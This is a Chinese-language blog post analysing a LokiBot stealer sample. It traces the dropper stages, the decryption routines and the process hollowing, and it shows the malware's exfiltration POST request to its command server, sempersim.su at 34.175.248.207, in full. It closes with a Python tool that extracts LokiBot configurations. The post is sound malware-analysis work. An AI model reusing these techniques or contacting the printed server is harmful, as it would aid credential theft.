lokibot样本分析

admin 2023年8月9日17:49:35评论7 views字数 5770阅读19分14秒阅读模式

火绒剑行为监控

行为监控

1.主程序在temp文件夹下释放frhdgr.exe

2.并创建进程 参数为 C:UsersxxxAppDataLocalTempfrhdgr.exe  C:Usersxxx AppDataLocalTempvxogkynyop

3.主进程退出

4.frhdgr.exe自我删除 并释放C:UsersxxxAppDataRoamingF503CBB28854.exe 隐藏文件lokibot样本分析

网络监控

frhdgr.exe有网络连接和数据包发送等行为 数据包未加密lokibot样本分析

恶意代码分析

第一层代码-释放PE文件

在temp文件夹下创建vxogkynyop文件lokibot样本分析

向文件中写入加密的代码lokibot样本分析

此加密代码解密后是一段shellcode 用于解密核心PE文件的lokibot样本分析

还会再temp文件夹下创建wdxw2bfd6vcc5n文件 此文件为样本的核心代码 解密后的数据是PE文件 解密算法就在vxogkynyop文件中lokibot样本分析

在临时文件夹下创建frhdgr.exe文件 向文件中写入PE文件lokibot样本分析

创建进程 进程参数就是vxogkynyop文件lokibot样本分析

提取样本lokibot样本分析

第二层代码-frhdgr.exe进程

lokibot样本分析

解密代码 ((xx-0x18) ^ 0x80) - 0x28lokibot样本分析

第三层代码-解密后的shellcode

1.Temp文件夹下打开了wdxw2bfd6vcc5n文件

2.获取wdxw2bfd6vcc5n文件的大小

3.申请空间 读入wdxw2bfd6vcc5n文件的数据

4.文件句柄关闭lokibot样本分析

函数3a0a2b解密出PE文件lokibot样本分析

又创建了自己 并且是挂起状态lokibot样本分析

获取进程的线程上下文lokibot样本分析


lokibot样本分析

在新创建的Frhdgr.exe进程申请空间 首地址为0x00400000lokibot样本分析

向新创建的Frhdgr.exe进程拷贝PE文件(按内存对齐展开) 

注:此pe文件就是wdxw2bfd6vcc5n文件解密后的lokibot样本分析

运行程序lokibot样本分析

本进程退出lokibot样本分析

第四层代码-新创建的Frhdgr.exe进程

开始会检查有没有 -u参数如果有就睡10秒lokibot样本分析

获取键值lokibot样本分析

键值计算的哈希值作为互斥体的名称 创建互斥体防多开lokibot样本分析

此函数循环调用了65个函数 没有仔细的一个一个看 点进去几个 都是在获取用户机上已经安装的 病毒作者感兴趣的app的一些信息lokibot样本分析

65个函数中第一个函数获取火狐浏览器的版本信息lokibot样本分析lokibot样本分析

浏览器的安装路径 还会获取一些其他的浏览器信息
lokibot样本分析

lokibot样本分析

收集用户信息

获取用户名称lokibot样本分析

检索本地计算机的 NetBIOS 名称lokibot样本分析

检索此 SID 的帐户名称和找到此 SID 的第一个域的名称lokibot样本分析

网络相关

返回URL完整信息 http://sempersim.su/gg1/fre.phplokibot样本分析lokibot样本分析

解密URL

Sub_413bcc返回了完整的URL信息 函数会跳转到0x004A0000的位置执行代码 0x004A0000就是PE文件的.X段 .X段存储了解密代码 和未解密的数据lokibot样本分析

解密前的URL数据 在.X偏移0x74的位置lokibot样本分析

就是一个异或操作 数据异或0xFFlokibot样本分析

解密后lokibot样本分析

返回端口号 和要访问的路径lokibot样本分析lokibot样本分析

返回User Agent字段  Mozilla/4.08 (Charon; Inferno)lokibot样本分析lokibot样本分析

返回完整的post请求数据包lokibot样本分析

通过以下的域名和端口返回了 addrinfo结构的链表lokibot样本分析

EDI为addrinfo结构lokibot样本分析

连接的服务器就是通过getaddrinfo返回的 Connect连接的IP地址34.175.248.207lokibot样本分析

Send 发送数据

POST /gg1/fre.php HTTP/1.0 

User-Agent: Mozilla/4.08 (Charon; Inferno) 

Host: sempersim.su 

Accept: */*

Content-Type: application/octet-stream 

Content-Encoding: binary 

Content-Key: 80D85F96 

Content-Length: 206 

Connection: closelokibot样本分析

发送开始收集到的用户的信息lokibot样本分析

Recv接收数据

HTTP/1.1 408 Request Time-out 

content-length: 110 

cache-control: no-cache 

content-type: text/html 

connection: close

<html><body><h1>408 Request Time-out</h1>.Your browser didn't send acomplete request in time</body></html>

lokibot样本分析

函数返回注册表MachineGuid的值计算后的哈希值lokibot样本分析

移动病毒文件 新文件夹名称是哈希值的8~13位 新文件名称是13~18位lokibot样本分析

返回了注册表的路径 但感觉程序解析字符串的时候发生错误了lokibot样本分析

转换后的注册表的路径lokibot样本分析

创建键值 但是失败了 这里可以猜测病毒想加入到注册表自启动列表中 但是由于出现了什么问题 导致注册表路径发生错误 导致加入失败lokibot样本分析lokibot样本分析

设置文件的属性为系统文件且隐藏lokibot样本分析

函数sub_412D31开始有获取用户信息的操作 然后会发送给服务器 服务器回应的信息作为线程的参数 线程回调处理接收到的数据lokibot样本分析

线程部分

线程处理接收数据 

可再次获取浏览器的信息 支持下载数据 创建进程 加载模块和打开网页等操作

核心函数sub_40648B 通过参数的不同执行不同的操作 

参数介绍: 

1.要下载数据的地址(url) 

2.0

3.0

4.文件的后缀

5.CSIDL :26 通过SHGetFolderPathW函数获取C:Program Files目录

6.值为1说明下载的是dll文件 值为0 会执行创建进程或者打开网页等操作

7.创建进程时的参数 0或者-u

lokibot样本分析

配置静态提取工具:

import re
import struct
import sys

import pefile
from Cryptodome.Cipher import DES3

DESCRIPTION = "LokiBot configuration parser."
AUTHOR = "honkone"


def find_iv(pe):
    iv = -1
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""x68...x00.{1,10}x68...x00x68...x00x68...x00x03xc1""", t)
    if temp != []:
        (addr,) = struct.unpack_from("<I", temp[0][1:])
        addr -= 0x400000
        iv = t[addr : addr + 8]
    return iv


def try_find_iv(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"x6ax08x59xbe")
    if off == -1:
        return -1
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    addr -= 0x400000

    # Go until past next blob to x00x00x00x00
    off = t[addr + dlen + 4 :].find(b"x00x00x00x00")
    off += addr + dlen + 4 + 4
    iv = t[off : off + 8]

    # This doesn't work for all samples... still interesting that the data is in close proximity sometimes
    nul, key3, nul, key2, nul, key1 = struct.unpack_from("<I8sI8sI8s", t[off + 8 :])

    # key = f"x08x02x00x00x03x66x00x00x18x00x00x00{key1}{key2}{key3}"

    return iv


def find_conf(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"x6ax08x59xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret = [t[addr : addr + dlen]]
    dlen = 10 * 4
    off = t.find(b"x6ax0ax59xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret.append(t[addr : addr + dlen])

    return ret


def find_key(pe):
    ret = None
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""x68...x00x68...x00x68...x00x03xc1""", t)
    if temp != []:
        ret = "x08x02x00x00x03x66x00x00x18x00x00x00"
        temp = temp[0][:-2].split("x68")[::-1]
        for a in temp:
            if a != "":
                (addr,) = struct.unpack_from("<I", a)
                # print(hex(addr))
                addr -= 0x400000
                ret += t[addr : addr + 8]
    return ret


def decoder(data):
    x_sect = None

    urls = re.findall(rb"""https?://[a-zA-Z0-9/.:-_]+""", data)

    pe = None
    try:
        pe = pefile.PE(sys.argv[1])

        for sect in pe.sections:
            if ".x" in sect.Name:
                x_sect = sect
        img = pe.get_memory_mapped_image()
    except Exception:
        img = data
    if x_sect is not None:
        x = img[x_sect.VirtualAddress : x_sect.VirtualAddress + x_sect.SizeOfRawData]
        x = bytearray(x)
    else:
        x = bytearray(img)

    for i in range(len(x)):
        x[i] ^= 0xFF

    temp = re.findall(rb"""https?://[a-zA-Z0-9/.:-_]+""", x)
    urls += temp

    urls = [x for x in urls if x not in ("http://www.ibsensoftware.com/""")]

    # Try to decrypt onboard config then
    if not urls:
        temp = ""
        if pe is None:
            pe = data
        key = find_key(pe)
        # iv = try_find_iv(pe)
        iv = find_iv(pe)
        confs = find_conf(pe)
        if iv not in ["", -1] and confs != []:
            for conf in confs:
                dec = DES3.new(key[12:], DES3.MODE_CBC, iv)
                temp += dec.decrypt(conf)
            temp_urls = re.findall(rb"""[a-zA-Z0-9/.:-_]{6,}""", temp)
            urls += temp_urls

    return urls


def extract_config(filebuf):
    urls = decoder(filebuf)
    return {"address": [url.decode() for url in urls]}


if __name__ == "__main__":
    with open(sys.argv[1], "rb") as f:
        data = f.read()

    print(extract_config(data))


加下方wx,拉你一起进群学习

lokibot样本分析

原文始发于微信公众号(红队蓝军):lokibot样本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月9日17:49:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   lokibot样本分析https://cn-sec.com/archives/1943958.html

发表评论

匿名网友 填写信息